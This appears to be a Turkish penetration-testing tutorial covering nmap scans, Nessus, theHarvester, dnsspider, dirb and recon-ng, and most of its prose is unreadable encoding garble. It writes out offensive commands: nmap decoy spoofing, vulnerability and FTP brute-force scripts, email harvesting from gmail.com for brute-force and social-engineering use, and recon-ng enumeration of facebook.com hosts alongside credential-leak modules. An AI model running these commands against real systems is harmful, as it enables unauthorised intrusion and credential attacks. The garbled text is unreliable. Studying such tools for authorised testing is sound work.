¦5t ¢ŀǊŀƳŀǎƤ: ¦5t ǇƻǊǘƭŀǊƤƴƤƴ ŘǳǊǳƳǳƴǳ ŀƴŀƭƛȊ ŜǘƳŜƪ ƛœƛƴ ƪǳƭƭŀƴƤƭŀƴ ōǳ ȅǀƴǘŜƳŘŜ ǘŀǊŀƳŀ ƎǀƴŘŜǊƛƭŜƴ 

¦5t ǇŀƪŜǘƭŜǊƛƴƛƴ ŘǳǊǳƳǳƴŀ ƎǀǊŜ ƎŜǊœŜƪƭŜǒƛǊΦ L/at tƻǊǘ ¦ƴǊŜŀŎƘŀōƭŜ ƛǎŜ ǇƻǊǘ ƪŀǇŀƭƤŘƤǊΣ ŜƐŜǊ ƎŜƭŜƴ 

ŎŜǾŀǇ ȅƛƴŜ ¦5t ǇŀƪŜǘƛ ƛǎŜ ǇƻǊǘ ŀœƤƪǘƤǊΦ 



nmap -sU 192.168.152.0/24 

NULL - FIN - XMAS Scan: о ǘŀǊŀƳŀ ǘǸǊǸ ŘŜ ƪƤǎƳƛ ōŜƴȊŜǊƭƛƪ ƎǀǎǘŜǊƳŜƪǘŜŘƛǊΦ DǀƴŘŜǊƛƭŜƴ ǇŀƪŜǘƭŜǊŜ ŎŜǾŀǇ 

ƻƭŀǊŀƪ w{¢Ҍ!/Y ƎǀƴŘŜǊƛƭƛȅƻǊǎŀ ǇƻǊǘ ƪŀǇŀƭƤΣ L/at tƻǊǘ ¦ƴǊŜŀŎƘŀōƭŜ ƎǀƴŘŜǊƛƭƛȅƻǊǎŀ ǇƻǊǘ ŦƛƭǘǊŜƭƛΣ Ƙƛœ ōƛǊ 

ǒŜȅ ƎǀƴŘŜǊƛƭƳƛȅƻǊǎŀ ǇƻǊǘ ŀœƤƪǘƤǊΦ 

NULL Scan ǸȊŜǊƛƴŘŜƴ ƎǀƴŘŜǊƛƭŜƴ ǇŀƪŜǘƭŜǊ ƘŜǊ ƘŀƴƎƛ ōƛǊ ōŀȅǊŀƐŀ ǎŀƘƛǇ ŘŜƐƛƭŘƛǊ όƘŜǊ ƘŀƴƎƛ ōƛǊ ǘŜƪƴƛƪ 

uygulanmaz). 

nmap -sN 192.168.152.133 

FIN Scan ǸȊŜǊƛƴŘŜƴ ƎǀƴŘŜǊƛƭŜƴ ǇŀƪŜǘƭŜǊ CLb ōŀȅǊŀƐƤƴŀ ǎŀƘƛǇǘƛǊƭŜǊ όƪŜƴŘƛ ǘŜƪƴƛƐƛƴƛ ǳȅƎǳƭŀǊύΦ  

nmap -sF 192.168.152.133 

XMAS Scan ǸȊŜǊƛƴŘŜƴ ƎǀƴŘŜǊƛƭŜƴ ǇŀƪŜǘƭŜǊΣ ŦŀǊƪƭƤ ōŀȅǊŀƪƭŀǊŀ ǎŀƘƛǇ ƻƭŀōƛƭƛǊΦ 

nmap -sX 192.168.152.133 

¢ŀǊŀƳŀ ǘǸǊƭŜǊƛƴƛ ǀƐǊŜƴŘƛƪǘŜƴ ǎƻƴǊŀ ǒƛƳŘƛŘŜ ǎŜœŜƴŜƪƭŜǊŜ ōŀƪŀƭƤƳΦ 

-Pn Υ Iƻǎǘ ŘƛǎŎƻǾŜǊȅ ȅŀǇƤƭƳŀȊΣ ōǸǘǸƴ ƘƻǎǘƭŀǊ ŀȅŀƪǘŀ ǾŀǊǎŀȅƤƭƤǊΦ 

-p Υ ǇƻǊǘ ǾŜȅŀ ǇƻǊǘ ŀǊŀƭƤƪƭŀǊƤƴƤ ōŜƭƛǊǘƳŜƪ ƛœƛƴ ƪǳƭƭŀƴƤƭƤǊΦ -p22; -p1-65535 

-O Υ ¢/tκLt ŘŀǾǊŀƴƤǒƭŀǊƤƴŘŀƴ ȅƻƭŀ œƤƪŀǊŀƪ ƛǒƭŜǘƛƳ ǎƛǎǘŜƳƛƴƛ ōŜƭƛǊƭŜȅŜŎŜƪ ǇŀǊŀƳŜǘǊŜŘƛǊΦ 

-sV Υ IŜŘŜŦ ǎƛǎǘŜƳƭŜǊƛƴ ǎŜǊǾƛǎƭŜǊƛƴƛƴ ǾŜǊǎƛȅƻƴƭŀǊƤƴƤ ǘŜǎǇƛǘ ŜǘƳŜŘŜ ƪǳƭƭŀƴƤƭƤǊΦ 

-T[1-5] Υ .ƛǊƛƳ ȊŀƳŀƴŘŀ ƎǀƴŘŜǊƛƭŜŎŜƪ ǇŀƪŜǘ ƘƤȊ ǎŜǾƛȅŜǎƛƴƛ ōŜƭƛǊƭŜƳŜƪ ƛœƛƴ ƪǳƭƭŀƴƤƭŀƴ ǇŀǊŀƳŜǘǊŜŘƛǊΦ р Ŝƴ 

ȅǸƪǎŜƪ ǎŜǾƛȅŜȅƛ м ƛǎŜ Ŝƴ ŘǸǒǸƪ ǎŜǾƛȅŜȅƛ ōŜƭƛǊǘƛǊΦ 

-FΥ Cŀǎǘ ƳƻŘŜΣ ǾŀǊǎŀȅƤƭŀƴ ǘŀǊŀƳŀƭŀǊŘŀ ōŜƭƛǊƭŜƴŜƴ ǇƻǊǘƭŀǊŘŀƴ ōƛǊŀȊ ŘŀƘŀ ŀȊƤ ƪǳƭƭŀƴƤƭƤǊΦ 

-r Υ tƻǊǘƭŀǊƤ ǎƤǊŀȅƭŀ ǘŀǊŀǊΦ wŀǎǘƎŜƭŜ ǘŀǊŀƳŀ ƪǳƭƭŀƴƤƭƳŀȊΦ 

ςtop-porǘǎ ғǎŀȅƤҔ Υ ғǎŀȅƤҔ ƛƭŜ ōŜƭƛǊǘƛƭŜƴ ƻǊǘŀƪ ǇƻǊǘƭŀǊƤ ǘŀǊŀƴƤǊΦ 

-S Υ Yŀȅƴŀƪ Lt ȅƛ ōŜƭƛǊƭŜƳŜƪ ŀƳŀŎƤȅƭŀ ƪǳƭƭŀƴƤƭƤǊΦ 

-n/ -R Υ !ǎƭŀ 5b{ 4ǀȊǸƳƭŜƳŜǎƛ ȅŀǇƤƭƳŀȊκIŜǊȊŀƳŀƴ 5b{ œǀȊǸƳƭŜƳŜǎƛ ȅŀǇƤƭƤǊ 

ςdns-ǎŜǊǾŜǊǎ ғǎŜǊǾмώΣǎŜǊǾнϐΣΧҔ Υ mȊŜƭ 5b{ ǎŜǊǾŜǊƭŜǊƤ ōŜƭƛǊǘƳŜƪ ƛœƛƴ ƪǳƭƭŀƴƤƭƤr. 

ςsystem-dns Υ TǒƭŜǘƛƳ ǎƛǎǘŜƳƛƴŜ ŀƛǘ 5b{ œǀȊǸƳƭŜȅƛŎƛ ƪǳƭƭŀƴƤƭƤǊΦ 

ςtraceroute Υ ¢ǊŀŎŜǊƻǳǘŜ ǀȊŜƭƭƛƐƛƴƛ ŀƪǘƛŦ ƘŀƭŜ ƎŜǘƛǊƛǊΦ 

-open Υ {ŀŘŜŎŜ ŀœƤƪ ǇƻǊǘƭŀǊƤ ƎǀǊǸƴǘǸƭŜƳŜƳƛȊƛ ǎŀƐƭŀǊΦ 

ςpacket-trace Υ !ƭƤƴŀƴ ǾŜ ƎǀƴŘŜǊƛƭŜƴ ǘǸƳ ǇŀƪŜǘƭŜǊƛ ƎǀǊǸƴǘǸƭŜƳŜƪ ƛœƛƴ ƪǳƭƭŀƴƤƭƤǊΦ 

nmap [hedef_IP] > tarama.txt Υ ¸ŀǇƤƭŀƴ ǘŀǊŀƳŀƴƤƴ ǘȄǘ ŦƻǊƳŀǘƤƴŘŀ ƪŀȅŘŜǘƳŜƳƛȊƛ ǎŀƐƭŀǊΦ 

--script Υ ǎŎǊƛǇǘ ǎŜœŜƴŜƪƭŜǊƛ ƛœƛƴ ƪǳƭƭŀƴƤƭƤǊƤΦ ςǎŎǊƛǇǘҐғǎŎǊƛǇǘ ŀŘƤҔ 

-AΥ 9ƴ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ ǎŎǊƛǇǘƭŜǊƛ œŀƭƤǒǘƤǊƤǊΦ 

mǊƴŜƪƭŜǊƭŜ ŀƴƭŀǘƤƭŀƴƭŀǊƤ ǇŜƪƛǒǘƛǊŜƭƛƳΥ 



nmap ςsS -F 192.168.152.133   І 9ƴ ȅŀȅƎƤƴ млл ǇƻǊǘǳ ǘŀǊŀ 

nmap ςsS ςp80 192.168.152.133  # 80 portunu tara  

nmap ςsS ςp1-100 192.168.152.133  І м ƛƭŜ млл ŀǊŀǎƤƴŘŀ ƪƛ ǇƻǊǘƭŀǊƤ ǘŀǊŀ  

nmap ςsS ςp1,100,102 192.168.152.133 І мΣ млл ǾŜ лнΦ ǇƻǊǘƭŀǊƤ ǘŀǊŀ 

nmap ςsS ςtop-ports <10> 192.168.152.133 І 9ƴ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ мл ŀŘŜǘ ǇƻǊǘǳ ǘŀǊŀǊ 

nmap ςsS ςp- 192.168.152.133   І сррор ŀŘŜǘ ǇƻǊǘǳƴ ǘŀƳŀƳƤƴƤ ǘŀǊŀǊ 

nmap ςsS ςp U:53,T:22 192.168.152.133 # UDP 53 ve TCP 22. portu tarar 

nmap -sS -sV 192168.152.133   #Servis bilgisini tara 

nmap -sS -O 192.168.152.133   ІTǒƭŜǘƛƳ ǎƛǎǘŜƳƛƴƛ ǘŜǎǇƛǘ Ŝǘ 

nmap 192.168.152.0/24 --exclude 192.168.1рнΦнΣмфнΦмсуΦмрнΦо ІǎƻƴŘŀƪƛ ƛƪƛ ƛǇΩȅƛ ǘŀǊŀƳŀ 

nmap -sS -A 192.168.152.133   І9ƴ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ ǎŎǊƛǇǘƭŜǊƭŜ ǘŀǊŀ 

nmap ςsS ςoN tarama.txt 192.168.152.133 І ¢·¢ ōƛœƛƳƛƴŘŜΣ ƴƻǊƳŀƭ ba!t œƤƪǘƤǎƤ ǾŜǊƛǊ 

nmap ςsS ςoX tarama.xml 192.168.152.133  І ·a[ ōƛœƛƳƛƴŘŜ ōƛǊ œƤƪǘƤ ǸǊŜǘƛǊ 

nmap ςsS ςoA tarama 192.168.152.133  І ¢ǸƳ ōƛœƛƳƭŜǊŘŜ œƤƪǘƤ ǾŜǊƛǊ 

nmap -D 192.168.1.10 192.168.152.133 І ¢ŀǊƳŀȅƤ мфнΦмсуΦмΦмл LǇǎƛƴŘŜƴ ȅŀǇƤȅƻǊƳǳǒ Ǝƛōƛ 

ƎǀǎǘŜǊƛǊόǎǇƻŦƛƴƎύ 

nmap ςscript vuln 192.168.152.0/24  І IŜŘŜŦ ǎƛǎǘŜƳ ǸȊŜǊƛƴŘŜƪƛ ȊŀŀŦƛȅŜǘƭŜǊƛ ǘŜǎǘ ŜŘŜŎŜƪ 

nmap ςscript=ftp-brute ςǇ нм мфнΦмсуΦмрнΦмоо І IŜŘŜŦ ƳŀƪƛƴŀƴƤƴ нмΦ ǇƻǊǘǳƴŀ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ 

yapacak 

nmap --script=all 192.168.152.133 І ba!t ƛœŜǊƛƐƛƴŘŜ ƪƛ ǘǸƳ ǎŎǊƛǇǘƭŜǊƛ œŀƭƤǒǘƤǊŀŎŀƪǘƤǊΦ 

 

 

 

 

 

 

 

 

 

 

 



Nessus: 
bŜǎǎǳǎ ȊŀŦƛȅŜǘ ǘŀǊŀƳŀ ŀǊŀŎƤŘƤǊΦ  

TenableΩƤƴ ƛƭƎƛƭƛ ŀŘǊŜǎƛƴŜ ƪŀȅƤǘ ȅŀǇƤƭƤǇ ŜǾŀƭǳŀǘƛƻƴ ǸǊǸƴǸ ƛƴŘƛǊƛƭƛǊΦ 

https://www.tenable.com/products/nessus/nessus-professional/evaluate  

IŀƴƎƛ ǇƭŀǘŦƻǊƳŘŀ ƪǳƭƭŀƴƤƭŀŎŀƪ ƛǎŜ ƻƴŀ ƎǀǊŜ ƛƭƎƛƭƛ Řƻǎȅŀ ƛƴŘƛǊƛƭƛǊ ǾŜ ƪǳǊǳƭǳƳǳ ƎŜǊœŜƪƭŜǒǘƛǊƛƭƛǊΦ 

Kurulum ǎƻƴǊŀǎƤ https://localhost:8834 ŀŘǊŜǎƛƴŘŜƴ ŜǊƛǒƛƳ ǎŀƐƭŀƴƤǊΦ 

 

 

YǳǊǳƭǳƳ ƎŜǊœŜƪƭŜǒǘƛǊŘikteƴ ǾŜ ƻǘǳǊǳƳ ŀœƤƭŘƤƪǘŀƴ ǎƻƴǊŀ άƴŜǿ ǎŎŀƴέ ǾŜ άōŀǎƛŎ ǎŎŀƴέǎŜœŜƴŜƐƛ ƛƭŜ ȅŜƴƛ ōƛǊ 

ǘŀǊŀƳŀ ƛǒƭŜƳ ōŀǒƭŀǘƤƭƤǊΦ 

 

 

 

 

 

 

https://www.tenable.com/products/nessus/nessus-professional/evaluate
https://localhost:8834/


¢ŀǊŀƳŀ ǎƻƴǊŀǎƤ ȊŀŦƛȅetler listelenir ve ilgili zafiyet metasploit veya core impact ile test edilir. 

 

 

Mxtoolbox: 
https://mxtoolbox.com/NetworkTools.aspx ŀŘǊŜǎƛƴŘŜƴ ƛƭƎƛƭƛ ŀǊŀœƭŀǊŀ ŜǊƛǒƛƳ ǎŀƐƭŀƴƤǊΦ 

 

https://mxtoolbox.com/NetworkTools.aspx


TheHarvester: 
 

Hedef ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ ŜƭŘŜ ŜŘƛƭƳŜǎƛ ƎŜǊŜƪŜƴ Ŝƴ ǀƴŜƳƭƛ ōƛƭƎƛƭŜǊŘŜƴ ōƛǊƛ ŘŜ Ŝ-posta adreslerinin elde 

edilmesi. Elde edilecek e-posta adresleri kaba-kuvvet (brute-ŦƻǊŎŜύ ȅǀƴǘŜƳƛȅƭŜ ǒƛŦǊŜƭŜǊƛƴƛƴ ŜƭŘŜ 

ŜŘƛƭƳŜǎƛ ǾŜȅŀ ǎƻǎȅŀƭ ƳǸƘŜƴŘƛǎƭƛƪ ǎŀƭŘƤǊƤƭŀǊƤƴŘŀ ƪǳƭƭŀƴƤƭƳŀǎƤ ǎŀƭŘƤǊƎŀƴ ƛœƛƴ ǀƴŜƳƭƛ ōƛƭƎƛ ƴƛǘŜƭƛƐƛƴŘŜŘƛǊΦ 

YǳƭƭŀƴƤƳƤ œƻƪ ƪƻƭŀȅ ōƛǊ ŀǊŀœΦ !ǒŀƐƤŘŀƪƛ ǇŀǊŀƳetreleri kullanarak e-posta adreslerini toplayabilirsiniz. 

 

 

theHarvester -d gmail.com -b bing -l 500  ƪƻƳǳǘǳƴǳ œŀƭƤǒǘƤǊŘƤƐƤƳƤȊŘŀ ōƛƴƎ ŀǊŀƳŀ ƳƻǘǳǊǳ ǘŀǊŀŦƤƴŘŀƴ 

ƛƴŘŜƪǎƭŜƴƳƛǒ ƎƳŀƛƭΦŎƻƳ ŘƻƳŀƛƴƛ ƛœƛƴ рлл ǎƻƴǳŎŀ ƪŀŘŀǊ œƤƪǘƤȅƤ ƎŜǘƛǊŜŎŜƪǘƛǊΦ 

theHarvester -d gmail.com -b google  -l 500   

ƪƻƳǳǘǳƴǳ ƪǳƭƭŀƴŘƤƐƤƴƤȊŘŀ ƛǎŜ ōǳ ǎŜŦŜǊ ƎƻƻƎƭŜ Řŀ ƛƴŘŜȄƭŜƴƳƛǒ ǎƻƴǳœƭŀǊƤ ƎŜǘƛǊŜŎŜƪǘƛǊΦ aǸƳƪǸƴ 

ƻƭŘǳƐǳƴŎŀ ŦŀȊƭŀ ǎƻƴǳœ ƛœƛƴ -b paraƳŜǘǊŜǎƛ ƛœƛƴ ƪǳƭƭŀƴƤƭŀŎŀƪ ǘǸƳ ƪŀȅƴŀƪƭŀǊƤ ƪǳƭƭŀƴƳŀƭƤȅƤȊΦ 



 

 

 

 

 

 



Dnsspider: 
 

5ƴǎǎǇƛŘŜǊ ŀǊŀŎƤ ƘŜŘŜŦ ŘƻƳŀƛƴ ƛœƛƴ ǎǳōŘƻƳŀƛƴƭŜǊƛ ǘŜǎǇƛǘ ŜǘƳŜƪ ŀƳŀŎƤȅƭŀΣ ǎǀȊƭǸƪ ǎŀƭŘƤǊƤǎƤ ǾŜȅŀ 

ƪŀōŀƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ŘǸȊŜƴƭŜȅŜǊŜƪ Řƴǎ ƪŀȅƤǘƭŀǊƤƴƤ ǘŜǎǇƛǘ ŜǘƳŜȅŜ ȅŀǊŀȅŀƴ ōƛǊ ŀǊŀœǘƤǊΦ 

VarǎŀȅƤƭŀƴ Řŀ ƪŀƭƛ ŘŜ ƪǳǊǳƭǳ ƎŜƭƳŜƳŜƪǘŜŘƛǊΦ 

https://github.com/nullsecuritynet/tools/tree/master/scanner/dnsspider adresinden kopyalayarak 

kullanabilirsiniz. 

 

YǳƭƭŀƴƤƳƤΥ 

Python dnsspider.py -t 1 -a kurumdomain.com 

 

 

 

 

 

 

 

 

https://github.com/nullsecuritynet/tools/tree/master/scanner/dnsspider


Dirb: 
DirbΣ ōƛǊ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŘŀ ōǳƭǳƴŀƴ ǘǸƳ ŘƛȊƛƴ ǾŜ ǎŀȅŦŀƭŀǊŀ όŀœƤƪ ǾŜȅŀ ƎƛȊƭƛύ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ƛƭŜΣ 

ŘƛȊƛƴƛƴ ǾŜȅŀ ǎŀȅŦŀƴƤƴ ǾŀǊƭƤƐƤƴƤ ƪƻƴǘǊƻƭ ŜŘŜǊΦ ²Ŝō ǳȅƎǳƭŀƳŀŎƤǎƤ ǘŀǊŀŦƤƴŘŀƴ ƎƛȊƭŜƴƳƛǒ ǎŀȅŦŀ ǾŜȅŀ ŘƛȊƛƴƭŜǊ 

ǾŀǊ ƛǎŜΣ ōǳ ǎŀȅŦŀƭŀǊƤ ōǳƭŀǊŀƪ ǎƤȊƳŀ ŀƳŀœƭƤ ƪǳƭƭŀōƛƭƛriz. 

YǳƭƭŀƴƤƳƤ: 

dirb <url_base> [<wordlist_file(s)>] 

IŜŘŜŦ ŘƻƳŀƛƴ ŀŘǊŜǎƛƴƛ ǾŜ ǿƻǊŘƭƛǎǘΩƛƳƛȊƛ ȅŀȊŀǊŀƪ ǘŀǊŀƳŀȅŀ ōŀǒƭƤȅƻǊǳȊΦ 

5ƛǊō ƎƳŀƛƭΦŎƻƳ ŀŘǊŜǎƛƴŘŜ ōǳƭǳƴŀƴ ŎƻƳƳƻƴΦǘȄǘ ŘƻǎȅŀǎƤƴŘŀƪƛ псмн ŀŘŜǘ ƪǳƭƭŀƴƤƭŀōƛƭŜŎŜƪ ǘǸƳ ŘƛȊƛƴ ǾŜ 

ǎŀȅŦŀƭŀǊƤ ǘŜƪ ǘŜƪ ŜǊƛǒƛǇ ŜǊƛǒƳŜŘƛƐƛƴƛ deneyecek. 

 

.ŀȊƤ ǎŀȅŦŀƭŀǊŀ ƴƻǊƳŀƭ ǒŀǊǘƭŀǊŘŀ ƳŀƴǳŜƭ ƻƭŀǊŀƪ ŜǊƛǒƛǇ ǘŜǎǇƛǘ ŜǘƳŜ ǒŀƴǎƤƳƤȊ ȅƻƪΣ ŘƛǊō ŀǊŀŎƤ ǎŀȅŜǎƛƴŘŜ 

tespit edebilirsiniz.  

 

 

 

 

 



Recon-ng: 
recon-ƴƎΣ ƘŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ ōƛƭƎƛ ǘƻǇƭŀƳŀ ŀǊŀœƭŀǊƤƴŘŀƴ Ŝƴ ǀƴŜƳƭƛƭŜǊŘŜƴ ōƛǊƛŘƛǊΦ «ŎǊŜǘǎƛȊΣ ŀœƤƪ 

kaynaƪ ǾŜ ƛœŜǊŘƛƐƛ ƳƻŘǸƭƭŜǊ ŀœƤǎƤƴŘŀƴ ǘŜǊŎƛƘ ŜŘƛƭŜƴ ōƛǊ ŀǊŀœǘƤǊΦ IŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ Ƙƻǎǘ ōƛƭƎƛǎƛΣ Lt 

ƪŀȅƤǘƭŀǊƤΣ ǊŜǾŜǊǎŜ ƪŀȅƤǘƭŀǊƤΣ ƪƻƴǘŀƪΣ ƭƻƪŀǎȅƻƴΣ ŘǀƪǸƳŀƴΣ ǒƛŦǊŜ ǾŜ ȊŀŀŦƛȅŜǘ ōƛƭƎƛǎƛƴŜ ƪŀŘŀǊ ǘƻǇƭŀƳŀ 

ǎŜœŜƴŜƐƛ ǎǳƴŀōƛƭƳŜƪǘŜŘƛǊΦ  

Recon-ƴƎ ŀǊŀŎƤƳƤȊƤ ƪŀƭƛ ŘŜ ǊŜŎƻn-ƴƎ  ƪƻƳǳǘǳ œŀƭƤǒǘƤǊŀǊŀƪ ōŀǒƭŀǘƤȅƻǊǳȊΦ 

 

 ƛƳŘƛ ǊŜŎƻƴ-ƴƎ ŘŜ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ ƪƻƳǳǘƭŀǊŀ ōŀƪŀƭƤƳ 

add             !ŘŘǎ ǊŜŎƻǊŘǎ ǘƻ ǘƘŜ ŘŀǘŀōŀǎŜ κǾŜǊƛǘŀōŀƴƤƴŀ ƪŀȅƤǘ ŜƪƭŜǊ 

back           9Ȅƛǘǎ ǘƘŜ ŎǳǊǊŜƴǘ ŎƻƴǘŜȄǘ κōƛǊ ǀƴŎŜƪƛ ŀƭŀƴŀ ŘǀƴŜǊ 

delete        Deletes recorŘǎ ŦǊƻƳ ǘƘŜ ŘŀǘŀōŀǎŜ κǾŜǊƛǘŀōŀƴƤƴŘŀƴ ƪŀȅƤǘ ǎƛƭŜǊ 

exit            Exits the framework /recon-ƴƎ ŘŜƴ œƤƪŀǊ 

load            [ƻŀŘǎ ǎǇŜŎƛŦƛŜŘ ƳƻŘǳƭŜ κƛƭƎƛƭƛ ƳƻŘǸƭǸ ȅǸƪƭŜǊ 

use             [ƻŀŘǎ ǎǇŜŎƛŦƛŜŘ ƳƻŘǳƭŜ κƛƭƎƛƭƛ ƳƻŘǸƭǸ ȅǸƪƭŜǊ 

query         Queries the datŀōŀǎŜ κǾŜǊƛǘŀōŀƴƤƴŘŀ ŀǊŀƳŀ ȅŀǇŀǊ 

search        {ŜŀǊŎƘŜǎ ŀǾŀƛƭŀōƭŜ ƳƻŘǳƭŜǎ κYǳƭƭŀƴƤƭŀōƛƭƛǊ ƳƻŘǳƭƭŜǊƛ ŀǊŀǊ 

set              {Ŝǘǎ ƳƻŘǳƭŜ ƻǇǘƛƻƴǎ κaƻŘǸƭ ǎŜœŜƴŜƪƭŜǊƛ ŘŜƐƛǒǘƛǊƛǊ 

unset         ¦ƴǎŜǘǎ ƳƻŘǳƭŜ ƻǇǘƛƻƴǎ κ aƻŘǸƭ ǎŜœŜƴŜƪƭŜǊƛ Ŝǎƪƛ ƘŀƭƛƴŜ ƎŜǘƛǊƛǊ 

show          {Ƙƻǿǎ ǾŀǊƛƻǳǎ ŦǊŀƳŜǿƻǊƪ ƛǘŜƳǎ κ {ŜœŜƴŜƪƭŜǊƛ ǎǳƴŀǊ 

workspaces      aŀƴŀƎŜǎ ǿƻǊƪǎǇŀŎŜǎ κ4ŀƭƤǒƳŀ ŀƭŀƴƤƴƤ ȅǀƴŜǘƛǊ 

  

 

 



[recon-ng][default] > show modules ƪƻƳǳǘǳȅƭŀ ǘǸƳ ƳƻŘǸƭƭŜǊƛ ƎǀǊŜōƛƭƛǊƛȊΦ 

aƻŘǸƭƭŜǊƛƴƛƴ ōƛǊ ƪƤǎƳƤ ŀǒŀƐƤŘŀƪƛ ƎƛōƛŘƛǊΦ 

Discovery 

  --------- 

    discovery/info_disclosure/cache_snoop 

    discovery/info_disclosure/interesting_files 

 

  Exploitation 

  ------------ 

    exploitation/injection/command_injector 

    exploitation/injection/xpath_bruter 

 

  Import 

  ------ 

    import/csv_file 

    import/list  

 

  Recon 

  ----- 

    ........... 

    recon/contacts-contacts/mailtester 

    recon/contacts-profiles/fullcontact 

    recon/domains-contacts/pgp_search 

    recon/domains-contacts/whois_pocs 

    recon/domains-credentials/pwnedlist/account_creds 

    recon/domains-credentials/pwnedlist/api_usage 

    recon/domains-credentials/pwnedlist/domain_creds 

    recon/domains-credentials/pwnedlist/domain_ispwned 

    recon/domains-credentials/pwnedlist/leak_lookup 

    recon/domains-credentials/pwnedlist/leaks_dump 

    ......... 

    recon/domains-hosts/brute_hosts 

    recon/domains-hosts/certificate_transparency 

    recon/domains-hosts/google_site_api 

    recon/domains-hosts/google_site_web 

    recon/domains-hosts/hackertarget 

    recon/domains-hosts/netcraft 



    recon/domains-hosts/shodan_hostname 

    .......... 

    recon/repositories-vulnerabilities/gists_search 

    recon/repositories-vulnerabilities/github_dorks 

  Reporting 

  --------- 

    reporting/csv 

    reporting/html 

    reporting/json 

    reporting/list 

    reporting/proxifier 

    reporting/pushpin 

    reporting/xlsx 

    reporting/xml 

 

4ŀƭƤǒƳŀȅŀ ōŀǒƭŀǊƪŜƴ ǀƴŎŜƭƛƪƭŜ ōƛǊ ǿƻǊƪǎǇŀŎŜ ƻƭǳǒǘǳǊŀƭƤƳΦ 

[recon-ng][default] > workspaces add test 

{ƻƴǊŀǎƤƴŘŀ ƘŜŘŜŦ ŘƻƳŀƛƴƛƳƛȊƛ ekleyelim. 

[recon-ng][user] > add domains facebook.com 

[recon-ng][user] > show domains 

  +-------------------------------------+ 

  | rowid |    domain    |    module    | 

  +-------------------------------------+ 

  | 1     | facebook.com | user_defined | 

  +-------------------------------------+ 

Tƭƪ ǀƴŎŜ ƘŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ ƘƻǎǘƭŀǊƤ ōǳƭƳŀƪ ƛœƛƴ ƴŜǘŎǊŀŦǘ ƳƻŘǸƭǸƴǸ ƪǳƭƭŀƴŀƭƤƳΦ 

[recon-ng][user] > load netcraft 

[recon-ng][user][netcraft] > show options  

  Name    Current Value  Required  Description 

  SOURCE  default        yes       source of input (see 'show info' for details) 

 

[recon-ng][user][netcraft] > show info ƪƻƳǳǘǳȅƭŀ ƪƻƳǳǘǳƴ ƴŜ ȅŀǇǘƤƐƤƴƤ ƎǀǊŜōƛƭƛǊƛȊ 

      Name: Netcraft Hostname Enumerator 

      Path: modules/recon/domains-hosts/netcraft.py 

    Author: thrapt (thrapt@gmail.com) 

Description: 



  Harvests hosts from Netcraft.com. Updates the 'hosts' table with the results. 

[recon-ng][user][netcraft] > run 

------------ 

FACEBOOK.COM 

------------ 

[*] URL: http://searchdns.netcraft.com/?{'restriction': 'site+ends+with', 'host': 'facebook.com'} 

[*] [host] zh-tw.facebook.com (<blank>) 

[*] [host] www.facebook.com (<blank>) 

[*] [host] m.facebook.com (<blank>) 

[*] [host] apps.facebook.com (<blank>) 

[*] [host] sv-se.facebook.com (<blank>) 

[*] [host] wwww.facebook.com (<blank>) 

[*] [host] static.ak.facebook.com (<blank>) 

[*] [host] pl-pl.facebook.com (<blank>) 

[*] [host] pt-br.facebook.com (<blank>) 

[*] [host] graph.facebook.com (<blank>) 

[*] [host] en-gb.facebook.com (<blank>) 

[*] [host] da-dk.facebook.com (<blank>) 

[*] [host] lm.facebook.com (<blank>) 

[*] [host] it-it.facebook.com (<blank>) 

[*] [host] fr-fr.facebook.com (<blank>) 

[*] [host] staticxx.facebook.com (<blank>) 

[*] [host] origamijp.facebook.com (<blank>) 

[*] [host] de-de.facebook.com (<blank>) 

[*] [host] l.facebook.com (<blank>) 

[*] [host] es-es.facebook.com (<blank>) 

[*] Next page available! Requesting again... 

[*] Sleeping to Avoid Lock-out... 

[*] URL: http://searchdns.netcraft.com/?{'restriction': 'site+ends+with', 'host': 'facebook.com', 'last': 'origamijp.facebook.com', 'from': '21'} 

[*] [host] ja-jp.facebook.com (<blank>) 

[*] [host] ww.facebook.com (<blank>) 

[*] [host] business.facebook.com (<blank>) 

[*] [host] free.facebook.com (<blank>) 

[*] [ host] beta.facebook.com (<blank>) 

[*] [host] es-la.facebook.com (<blank>) 

[*] [host] touch.facebook.com (<blank>) 

[*] [host] mbasic.facebook.com (<blank>) 



[*] [host] pl.facebook.com (<blank>) 

[*] [host] web.facebook.com (<blank>) 

[*] [host] developer.facebook.com (<blank>) 

[*] [host] ar-ar.facebook.com (<blank>) 

[*] [host] developers.facebook.com (<blank>) 

[*] [host] ru-ru.facebook.com (<blank>) 

[*] [host] mobile.facebook.com (<blank>) 

[*] [host] nb.facebook.com (<blank>) 

[*] [host] h.facebook.com (<blank>) 

[*] [host] pt-pt.facebook.com (<blank>) 

[*] [host] api.facebook.com (<blank>) 

[*] [host] ca-es.facebook.com (<blank>) 

[*] Next page available! Requesting again... 

[*] Sleeping to Avoid Lock-out... 

[*] URL: http://searchdns.netcraft.com/?{'restriction': 'site+ends+with', 'host': 'facebook.com', 'last': 'api.facebook.com', 'from': '41'} 

[*] [host] el-gr.facebook.com (<blank>) 

[*] [host] postmaster.facebook.com (<blank>) 

[*] [host] nl-nl.facebook.com (<blank>) 

[*] [host] facebook.facebook.com (<blank>) 

[*] [host] hr-hr.facebook.com (<blank>) 

[*] [host] nb-no.facebook.com (<blank>) 

[*] [host] zh-hk.facebook.com (<blank>) 

[*] [host] th-th.facebook.com (<blank>) 

[*] [host] hu-hu.facebook.com (<blank>) 

[*] [host] elkjopnordic.facebook.com (<blank>) 

[*] [host] 0.facebook.com (<blank>) 

[*] [host] lji.facebook.com (<blank>) 

[*] [host] de.facebook.com (<blank>) 

[*] [host] id-id.facebook.com (<blank>) 

[*] [host] vi-vn.facebook.com (<blank>) 

[*] [host] tr -tr.facebook.com (<blank>) 

[*] [host] chat.facebook.com (<blank>) 

[*] [host] connect.facebook.com (<blank>) 

[*] [host] www.new.facebook.com (<blank>) 

[*] [host] in.facebook.com (<blank>) 

